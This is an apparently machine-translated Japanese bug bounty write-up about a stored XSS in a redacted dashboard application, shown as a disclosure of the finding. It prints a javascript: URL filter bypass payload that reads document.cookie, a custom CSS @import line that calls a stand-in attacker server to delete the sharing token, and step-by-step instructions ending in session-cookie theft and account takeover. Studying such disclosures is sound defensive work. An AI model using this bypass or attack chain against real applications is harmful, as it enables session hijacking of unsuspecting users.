ソース：
訳：
アプリケーションコンテキスト
バグを説明する前に、私は常にアプリケーションの機能とバグの背景について説明し。
このアプリケーションを使用すると、ユーザーは画像、データ、またはグラフィックを使用してダッシュボードを作成でき、カスタム CSS を作成することもできて。
ダッシュボードごとに特別なアクセス トークンを作成し、それぞれに異なる権限や有効期限を設定できて。例:
このトークンは、ダッシュボードを他のユーザーと共有するために URL で使用され。
共有するURL → /dashboard1?token=xxxxxxxxxxxxxxx-> これにより、誰でもダッシュボードを閲覧できるようになり
この機能の興味深い点は、トークンの有効期限が切れると、ダッシュボードの JavaScript コードが、ダッシュボード所有者が以前に指定した URL にユーザーをリダイレクトすることで。
流れは次のようになり。
- User1 が ダッシュボードを作成 → ID=12345 および有効期限 URL=
https://website.com - User1 は 表示権限を持つトークンを作成します。有効期限は 2 分です
- User1 が URL を作成し、 User2に送信します。
https://redacted.com/dashboard/12345?token=xxxxxxxxxxxx - ユーザー 2 は URL を開いて、ダッシュボードを 2 分間表示して分析します。
- トークン の有効期限が切れると、ダッシュボードが User2 を次の場所にリダイレクトします。
https://website.comこれは、新しいトークンを再認証して作成するために使用されます。
攻撃のアイデア
リダイレクト機能は、次のような Javascript コードを使用してクライアント側で処理され。
window.onTokenExpiry() = expiryUrl => {
window.location = expiryUrl; //When token expires, redirect to the provided URL
}
クライアント側のオープンリダイレクトでは、考えられる固有の攻撃は XSS によるもので。 javascript: (他の既存の攻撃を教えてください)。
クライアント側で URL サニタイズがなかったので、私自身のダッシュボードの expiryUrl を次のように更新し。 javascript:alert(1)
レスポンス：
予想通り、サーバー側にブロックする正規表現がいくつかあります。 javascript: URL。
興味深いバイパスと XSS
このような種類の URL 正規表現をバイパスするには、この図で URL 部分を学習することをお勧めし。
パスのみを使用してみました /path123 、パスなし path123 、相対パス付き path123/path111、そしてすべてがうまくいき。
一般的なバイパスを使用して、さまざまなプロトコルの URL を使用してみましたが、 https:// そして http:// 働き。
おそらく、サーバーは、指定された URLがパスであるか完全な URL であるかをチェックし、完全な URLで無効なプロトコルが含まれている場合は無効にし。
これを悪用したい場合は、URL が次で始まる必要があります。 javascript: 必須なので使ってみました javascript:hello@hello.com そしてそれはうまくいき。
おそらくアプリケーションは次のことを想定しています http:// プロトコルを検出すると、 @ 性格、なぜなら @ にのみ存在します http:// URL の一部として。
次に、次の内容を含む有効な JS コードを記述する必要があり。 @。
私は試した javascript:code//hello@hello.com 、とコメントしています。 @コードに影響を与えないように、無効な URL を返し。
このようなことが起こるのはなぜだと思いますか / 前です @ 、サーバーは次のように考えます @ はパスの一部であり、同じ無効な URL エラーを返し。
最後に、私が使用したのは、 javascript:code%2f%2fhello@hello.com URLコーディング /そしてそれはうまくいきました!!
有効なペイロードがありますが、それを使用する必要があります。
悪用
要約すると、次へのリダイレクトを持つダッシュボードを作成できます。 javascript:...
問題は、リダイレクトがトークンの有効期限が切れたときにのみ発生し、被害者がいつリンクをクリックするかわからないことで。
なぜ期限切れのトークンを URL に直接追加しないのかと疑問に思われるかもしれません。
サーバー側でトークンが無効であると検出され、ページが読み込まれないため、これは機能しません。
有効なトークンを作成し、そのトークンを使用してダッシュボードへのリンクを作成し、被害者がページを読み込んだときに正確にトークンを期限切れにする必要があり。
アプリケーションを深く知っていることの利点により、解決策を非常に迅速に見つけることができて。
作成されたトークンは API エンドポイントを使用して削除できます /token/TokenID DELETE リクエストを使用し。
ダッシュボードはカスタム CSS を使用できるため、自分のサーバーのリソースをロードする CSS コードを使用し。
サーバーが嘆願書を取得すると、ダッシュボード セッションで使用されているトークンがすぐに削除され、ダッシュボードは被害者を javascript: ペイロード。
探索手順:
- 以下を使用してダッシュボードを作成します。
有効期限URL →javascript:alert(document.cookie)%2f%2fhello@hello.com
CSSコード→@import url("https://attackerserver.com/csscallback") - 表示権限を持つトークンを作成→xxxxxxxxxxxx。
- URL を作成して、すべてのユーザーがダッシュボードをロードできるようにします。 URL→
https://redacted.com/dashboard/12345?token=xxxxxxxxxxxx - ユーザーがリンクをクリックすると、ダッシュボードが完全にロードされます。
- ページ上のカスタム CSS が読み込まれます
https://attackerserver.com/csscallback - 攻撃者のページは請願を受け取り、すぐにトークン xxxxxxxxxx を削除します。
- トークンが無効であるため、ダッシュボード JS は被害者を次の場所にリダイレクトします。
javascript:payloadXSS をトリガーし、セッション Cookie を攻撃者に送信します。 - 攻撃者は被害者のアカウントを所有します。
ほなほな。
